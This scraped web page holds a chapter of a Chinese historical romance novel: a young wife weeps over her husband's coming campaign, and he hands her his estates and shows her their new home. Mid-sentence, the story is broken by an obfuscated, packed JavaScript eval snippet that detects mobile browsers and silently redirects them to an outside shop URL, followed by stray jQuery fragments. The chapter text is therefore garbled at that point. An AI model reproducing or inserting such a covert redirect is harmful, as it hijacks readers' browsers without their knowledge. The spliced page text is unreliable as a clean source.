文趣网 > 都市小说 > 谋嫁(重生) > 44. 第 44 章
    晨光穿透层层幔帐,揉成朦胧的光影,洒满床榻。

    床上的人儿,却眉目紧闭,丝毫没有要苏醒的迹象。

    直到日上三竿,沈幼菱才缓缓的睁开了双眼。

    沈幼菱是被浑身酸软的倦意逼醒的。

    昨夜种种缠绵缱绻、肆意纠缠的画面,猝不及防地涌入脑海。

    四肢百骸像是被抽走了所有力气,软绵绵的,尤其是腰肢处,更是酸胀的厉害。

    她缓了许久,才透过半开的窗棂望去。

    此时,天色早已大亮,朝日高悬,显然早已过了请安的时辰。

    沈幼菱无奈的想着,这段时日,她是愈发的懈怠了,长此以往,老夫人必定会心生不满......

    她起身想要下床,可脚刚一落地,却险些摔倒。

    腿脚酸软的不成样子。

    心里的那点自责,瞬间烟消云散,取而代之的是铺天盖地的委屈。

    都怪崔君墨。

    她咬着柔软的唇瓣,眉心蹙起,眼底很快便凝起了一层水雾。

    那人明明前一刻还言之凿凿的说他要带兵远赴漠北,明明知晓她心底惶恐,可昨夜他依旧不知节制,一遍遍缠着她,肆意索取。

    前一刻还是一副冷肃凛然的模样,后一刻,却又带着强势的占有欲,恨不得将她揉进骨血里。

    沈幼菱撑着酸软的胳膊,勉强想要站起身,可双腿虚软得根本不听使唤,微微一动便阵阵发颤。

    情急之下,她索性放弃了挣扎,直接坐到了地上。

    地面上透着沁人的冰冷,丝丝凉意顺着衣料渗入肌肤,却不及她心底的酸涩。

    这一坐,这些时日积攒的委屈与不安,密密麻麻的袭上心头。

    滚烫的泪珠再也抑制不住,顺着白皙细腻的脸颊簌簌滚落,砸在寝衣上。

    起初只是无声的落泪,肩膀微微耸动着,到后来越想越委屈,鼻尖酸涩发胀,连呼吸都带上了哽咽,仿佛要将两辈子受的委屈都哭出来。

    门外,巧娘与曼冬二人端着洗漱之物,听到动静走了进来,一眼便看到坐在地上泪流不止的沈幼菱。

    二人皆是心头一惊,连忙快步上前。

    “您怎么坐在地上了?”

    巧娘快步上前,俯身搀扶着她的胳膊,语气满是焦急,“地上寒凉,最是容易侵体伤身,您快些起来,仔细着凉!”

    曼冬也连忙放下手中的铜盆,上前一同借力,将沈幼菱从地上扶了起来。

    少女眼眶通红,眼睫湿漉漉的,脸颊还挂着未干的泪痕,鼻尖微微泛红,一副受尽了委屈的模样。

    巧娘见她浑身虚软,脚步发飘,眼底闪过一丝了然的笑意,却也不直白点破,只柔声询问:“是身体还不舒服吗?”

    不问还好,这一问,让沈幼菱更加的委屈了。

    她吸了吸酸涩的鼻尖,泛红的眼眶再次蒙上水雾,哽咽的开口:“崔君墨,他就会欺负我!”

    “我不想待在这里了,我要和离,我要回家!”

    一声声无助的控诉,听得人心头发软。

    巧娘无奈又心疼地叹了口气,抬手取出随身携带的帕子,温柔地擦去她脸颊的泪痕,轻声安抚道:“我的好小姐,您这说的是什么傻话呦?夫妇之间何至说这般重的话。”

    沈幼菱却猛地偏过头,眼底满是执拗与委屈,湿漉漉的眸子定定的看着巧娘,控诉道:“你们根本不知道,他昨夜有多过分?!半点都不怜惜我,只管自己肆意妄为!”

    话音落下,空气静了一瞬。

    曼冬年纪尚小,闻言,瞬间红了脸,连忙低下头去,死死盯着自己的鞋尖,不敢接话。

    巧娘闻言,却忍不住眉眼含笑,温声打趣道:“小姐这话可就说得不对了。分明是您自己念叨,盼着能和侯爷早日诞下子嗣,怎么如今反倒怪起侯爷来了?”

    一语戳中要害,沈幼菱的脸颊爆红,羞赧与气恼交织在一起,让她愈发委屈,狠狠咬着唇瓣辩驳:“那是以前!我从前是那般想的,可我现在不想了!”

    “我不想和他有孩子了,一点都不想!我要和他和离!”

    惶恐和委屈搅得她心绪不宁,她便再也顾不了那许多了。

    一旁的曼冬闻言,终是按耐不住开口,小心翼翼地问道:“小姐,您……您是真的想和侯爷和离吗?”

    这一句直白的询问,令沈幼菱愣了一瞬,没有开口回答。

    另一边,巧娘脸色微变,连忙转头瞪了曼冬一眼,低声呵斥:“去去去,小孩子家家的懂什么,少在这里添乱!”

    曼冬连忙噤声,乖乖垂首立在一旁。

    随即巧娘又转回目光,看着依旧气鼓鼓,眼眶通红的沈幼菱,语气愈发温柔耐心,细细的安抚道:“小姐,夫妇相处本就是磕磕绊绊,偶有争执再正常不过。不过是一时生气,气消了便好了,万万不可将和离二字挂在嘴边,传出去不仅落人口实,还会惹老夫人不悦。”

    “侯爷是疼您的,您切莫胡思乱想。”

    沈幼菱满心委屈,根本听不进去劝解,只闷闷地别过脸,不肯应声。

    巧娘见状,也不继续揪着此事劝说,转而放缓语气,轻声道:“对了,今日侯爷并未去上朝,一早便吩咐下来,让您用过早膳后,去书房找他。”

    沈幼菱闻言,微微一怔,蹙着眉,问道:“他今日没去上朝?”

    如今边境战事告急,朝堂之上诸事繁杂,崔君墨身为手握重兵的权臣,怎会无端缺席朝会?

    巧娘笑着点头,接着回道:“是啊,侯爷天未亮便起身了,不仅没去上朝,还亲自去老夫人院中,替您请了安,说是让您好生歇息。如今正在书房处理政务,一直等着您呢。”

    听闻此言,沈幼菱心底的闷气未消,忍不住冷哼了一声,小脸上满是不屑。

    “谁要他多事!谁要他替我去请安了!”

    她别过脸,语气带着浓浓的倔强与不满,低声嘟囔:“等我和他和离之后,我便彻底不用去老夫人院中请安了!”

    巧娘与曼冬闻言,相视一眼,皆是从她这口是心非的话里,听出了一丝娇嗔的意味,二人眼藏浅笑,却默契地没有点破,只默默上前,伺候她梳洗更衣。

    曼冬巧手翻飞,为她挽了一个温婉的流云髻,发髻间坠着黄花,簪上一支兰花图样的玉簪,衬得她肌肤胜雪、眉眼清丽。

    身上换上一袭嫩绿色的锦裙,外罩鹅黄色褙子,裙摆处绣着点点兰花花纹,行走间裙摆轻扬,清新动人。

    待梳妆完毕,早膳也恰好端上了桌。

    今日的早膳格外丰盛,软糯香甜的莲子粥,酥脆可口的蟹粉蒸饺、清甜爽口的水晶糕,还有几碟时令鲜蔬,色香味俱全。

    可沈幼菱满心纷乱郁结,半点胃口也无,拿着银勺慢慢拨弄着碗里的粥,勉强用了小半碗,便再也吃不下了。

    巧娘见状也不勉强,知晓她此刻心气不顺,便轻声劝道:“多少吃些垫垫肚子,待会儿去见侯爷,也好从容一些。夫妇之间没有解不开的隔阂,好好说说话,一切便都过去了。”

    沈幼菱默然不语,放下碗筷,沉默片刻,终是不情不愿地起身,往书房走去。

    书房外。

    书房的门并未关严,留着一道浅浅的缝隙,秋风拂过,隐约能看见屋内端坐的挺拔身影。

    沈幼菱抬手,轻轻敲了敲门。

    得到应答后,推门而入。

    入目第一眼,便落在了书桌后的崔君墨身上。

    往日里的他,素来偏爱深色衣袍,尤以玄黑为主,衬得他身形挺拔颀长,气质冷肃凛然,自带生人勿近的疏离威严。

    可今日,他却换了一袭竹青色暗纹锦袍。

    衣料质感温润,领口与袖口绣着极简的竹纹暗绣,低调雅致。

    清新的竹青色让他少爷些杀伐之气,添了几分温润清雅、谦谦君子的气韵。

    恰好她今日身着一身嫩绿长裙,一青一绿,深浅相映,莫名透着一股浑然天成的般配与和谐。

    晨光透过书房的雕花窗棂,落在他挺拔的身姿之上,柔和了他凌厉的眉眼。

    他垂着眼帘,指尖握着狼毫,正低头凝神批阅桌上的公文,姿态从容沉稳,一举一动皆是气度不凡。

    听见房门被推开的轻响,他握着笔的指尖微微一顿,随即抬眸。

    漆黑深邃的眼眸望来,目光沉沉的落在门口的少女身上。

    “过来。”

    他开口,嗓音低沉磁性,比平日里多了些缱绻温润。

    沈幼菱立在原地,心头依旧带着未消的委屈,脚步慢吞吞的,不情不愿地,朝着书桌挪了过去。

    她走到桌前站定,微微垂着眼帘,不敢看向他,小声开口:“今日朝中无事吗?你怎么没有去上朝?”

    漠北战事一触即发,出发前还有诸多要事需要商议,他身为领兵主帅,怎么可能这般清闲,安心留在家中?

    崔君墨闻言,淡淡放下手中的狼毫,目光始终落在她娇软的脸庞上,眼底情绪深沉难辨,只轻声回道:“无事。”

    沈幼菱自是不信的,微微的抬眸望向他。

    崔君墨见状,却不再多言,只是站起身来走向她。

    他抬手扶住她纤细的肩头,将她按坐在他刚刚坐着的梨花木椅上。

    挺拔的身形带着天然的压迫感,让沈幼菱的身子下意识一僵。

    还未等她开口发问,崔君墨已然伸手将一侧的一摞账簿,推到了她的面前。

    他说:“这些,是我名下所有的产业。”

    崔君墨立在桌旁,声音低沉平缓,“前些日子,我已经让浦安逐一清算过户,将所有产业尽数归到了你的名下。从今往后,便是你的私产。你且仔细过目核对一番。”

    沈幼菱怔怔地看着眼前厚厚的账簿,心头却很不是滋味。

    只听他继续说道:“原本想着你年纪尚小,便想着晚些时日,等你再长大

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17583174|202488||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    些,沉稳些,再让你接手打理。”

    “如今看来,倒是不必再等了。你也该学着接触打理这些产业,学着如何做好这侯府主母,学着为自己谋划后路。这里的每一处铺子、田庄的账目明细和收支往来,我都让人逐一标注清楚了。你日后若是有不懂的地方,只管问浦安。各处管事,我也浦安都提前打过招呼了,随时听你调遣。闲来无事,你也可以亲自去各处铺子、田庄走走看看,熟悉一下。”

    他思虑周全至极,方方面面都为她安排妥当,滴水不漏。

    可这番周全的安排,落在沈幼菱耳中,却没有半分欣喜,反倒堵得她胸口发闷,鼻尖发酸,眼眶也热了起来。

    他们成亲半年有余,她对他也是有些了解的。

    崔君墨向来沉稳内敛,万事皆谋定而后动,从不做无用之事。

    他这般细致地为她安排好一切后路,根本不是让她学着打理产业这般简单。

    这分明是在交代后事。

    他是怕自己此番出征,再也无法归来,所以提前给她安排好了一切。

    念头至此,沈幼菱指尖微微发颤,猛地抬手,用力将眼前厚厚的一摞账簿狠狠往外推去:“我不想看。”

    崔君墨也不强求,伸手将散落的账簿收好。

    “好。”他沉声,“不看便不看,等你日后有空再看。”

    待将账簿都整理好后,他再次抬眸看向她,问道:“身体可还有不适?”

    沈幼菱的耳朵登时红了,微微摇头:“已经无碍了。”

    “既如此,我带你去一个地方。”崔君墨说道。

    沈幼菱闻言,望向他,眼底带着些许茫然,小声问道:“什么地方?”

    “你随我来便知。”

    崔君墨没有多说,只率先抬步往外走去。

    沈幼菱看着他挺拔的背影,赶忙快步跟上。

    府外早已备好了马车。

    崔君墨率先登上马车,随即回身,伸手扶住她的手腕,小心地将她扶上车厢。

    待两人坐定,车夫扬鞭驱马,马车缓缓启动。

    沈幼菱靠着车窗,心头纷乱如麻,时不时偷偷抬眸看向身侧的男人。

    他端坐一旁,眉眼沉静,让人猜不透心底所思所想。

    一路无言,不过半柱香的时辰,马车便停了下来。

    崔君墨率先下车,再次伸手,护着她走下车。

    沈幼菱站稳身形,下意识抬眸抬头望去。

    眼前是府邸恢宏,朱红大门威严庄重,门前立着两只肃穆的石狮子,眉眼凌厉,气势不凡。

    最上方悬挂着一块黑底鎏金的牌匾,笔锋苍劲有力,四个大字赫然入目:定安侯府。

    沈幼菱怔住,轻声开口问道:“你怎么带我来这里了?”

    崔君墨立在她身侧,顺着她的目光看向牌匾,沉声道:“带你认认家门。”

    “从今往后,这里便是我们两个人的家。”

    说完,拍了拍她的肩膀,开口道:“进去吧。”

    沈幼菱定了定心神,跟着他,缓缓踏入了院内。

    跨过朱红大门,府中庭院开阔,布局雅致。

    虽然不及国公府的富丽堂皇,但一路走来,亭台楼阁、摆件陈设,皆贴合她的喜好,仿佛为她量身打造的一般。

    沈幼菱越看心头越震愕,脚步缓缓的停了下来。

    崔君墨立在她身侧,将她眼底的诧异尽收眼底,云淡风轻的解释道:“早前便让浦安从巧娘和曼冬那里,打探了你的喜好偏爱......”

    他说得平淡从容。

    可沈幼菱却心绪难平,鼻尖发酸。

    这个男人,他不会说甜言蜜语,他只会说让她相信他,让她等着他。

    可他又会在不动声色间,为她铺好了往后余生所有的路。

    心口的酸涩愈发浓重,滚烫的泪水在眼眶里打转,几乎就要落下。

    沈幼菱死死咬着唇瓣,强行忍住落泪的冲动,跟着他的脚步,慢慢走完院中的每一处。

    待两人逛完,不知不觉间,日头渐渐升高,已到了午膳时分。

    崔君墨提议:“是否要在这里用膳?”

    沈幼菱点头。

    两人来到膳房,很快一桌丰盛的午膳便摆上了桌,荤素搭配,冷热相宜。

    难得的,崔君墨今日竟主动让人备了酒。

    上次老夫人寿宴,她醉酒失态。

    自那以后,崔君墨便再也不许她饮酒,管束得极为严格。

    此刻,崔君墨斟满酒,将其中一杯酒杯推到她的面前,沉声道:“今日无妨,可小酌几杯。”

    沈幼菱怔怔看着面前的酒杯,心头纷乱。随即端起酒杯,仰头,将杯中酒一饮而尽。

    辛辣的酒水滑入喉间,染红了她的眼眶,熏得她鼻尖酸涩发胀。

    她放下酒杯,抬眸定定望着他,眸底盛满湿漉漉的水汽:“崔君墨,你可不可以……别丢下我?”